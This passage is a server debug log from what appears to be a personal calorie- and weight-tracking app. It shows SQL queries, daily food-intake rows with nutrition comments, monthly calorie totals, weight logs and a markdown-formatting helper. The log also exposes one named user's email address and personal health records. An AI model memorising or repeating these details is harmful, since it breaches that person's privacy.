  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T10:19:43.686Z server-connect:output restrict: undefined
2025-12-20T10:19:43.686Z server-connect:app Executing action step single
2025-12-20T10:19:43.686Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T10:19:43.687Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T10:19:43.690Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T10:19:43.690Z server-connect:app Executing action step select
2025-12-20T10:19:43.690Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T10:19:43.691Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 463,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-20T00:45:19.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 464,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and calcium for muscle development. Whole milk has more fat, but can be beneficial for satiety and energy for an active individual.'
  },
  {
    id: 465,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple,Pear',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of carbohydrates for energy, and potassium for muscle function. Essential for pre or post-workout fuel.'
  },
  {
    id: 466,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios (in moderation)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Provides healthy fats, protein, and micronutrients. Good for satiety and overall health. Quantity is reasonable.'
  },
  {
    id: 467,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Pear',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 468,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (approx 240ml, assuming whole milk)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 469,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, about 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-20T10:19:43.691Z server-connect:app Executing action step setvalue
2025-12-20T10:19:43.692Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T10:19:43.692Z server-connect:output var_total: 1170
2025-12-20T10:19:43.692Z server-connect:app Executing action step setvalue
2025-12-20T10:19:43.692Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T10:19:43.692Z server-connect:output var_consumed: 49
2025-12-20T10:19:43.692Z server-connect:app Executing action step setvalue
2025-12-20T10:19:43.692Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T10:19:43.692Z server-connect:output var_deficit: 1230
2025-12-20T10:19:43.692Z server-connect:app Executing action step custom
2025-12-20T10:19:43.692Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T10:19:43.693Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1170',
    surplus_or_deficit: '1230',
    status_flag: 2
  }
]
2025-12-20T10:19:44.276Z server-connect:app Executing action step identify
2025-12-20T10:19:44.276Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:44.277Z server-connect:output identity: 1
2025-12-20T10:19:46.096Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-20T10:19:46.096Z server-connect:app Executing action step identify
2025-12-20T10:19:46.096Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:46.096Z server-connect:output identity: 1
2025-12-20T10:19:46.097Z server-connect:app Executing action step restrict
2025-12-20T10:19:46.097Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:19:46.098Z server-connect:output restrict: undefined
2025-12-20T10:19:46.098Z server-connect:app Executing action step select
2025-12-20T10:19:46.098Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-20T10:19:46.099Z server-connect:output items_consumed_today: [
  {
    id: 460,
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 461,
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm'
  },
  {
    id: 462,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)'
  },
  {
    id: 463,
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)'
  },
  {
    id: 464,
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)'
  },
  {
    id: 465,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)'
  },
  {
    id: 466,
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)'
  },
  {
    id: 467,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)'
  },
  {
    id: 468,
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (approx 240ml, assuming whole milk)'
  },
  {
    id: 469,
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, about 5-6 cashews)'
  }
]
2025-12-20T10:19:46.099Z server-connect:app Executing action step paged
2025-12-20T10:19:46.099Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-20T10:19:46.102Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 16,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' }
  ]
}
2025-12-20T10:19:46.102Z server-connect:app Executing action step run
2025-12-20T10:19:46.102Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T10:19:46.103Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '| 463 | Apple | 78 | 0 | 21 | 0 | 1 small size (approx 150g) |\n' +
  "| 464 | Milk (Cow's Milk, whole) | 150 | 8 | 12 | 8 | 1 glass (approx 240 ml) |\n" +
  '| 465 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 466 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, 5-6 cashews) |\n' +
  '| 467 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 468 | Milk | 150 | 8 | 12 | 8 | 1 cup (approx 240ml, assuming whole milk) |\n' +
  '| 469 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, about 5-6 cashews) |\n' +
  '\n'
2025-12-20T10:19:46.103Z server-connect:app Executing action step run
2025-12-20T10:19:46.103Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T10:19:46.103Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T10:19:46.103Z server-connect:app Executing action step setvalue
2025-12-20T10:19:46.103Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-20T10:19:46.104Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '| 463 | Apple | 78 | 0 | 21 | 0 | 1 small size (approx 150g) |\n' +
  "| 464 | Milk (Cow's Milk, whole) | 150 | 8 | 12 | 8 | 1 glass (approx 240 ml) |\n" +
  '| 465 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 466 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, 5-6 cashews) |\n' +
  '| 467 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 468 | Milk | 150 | 8 | 12 | 8 | 1 cup (approx 240ml, assuming whole milk) |\n' +
  '| 469 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, about 5-6 cashews) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
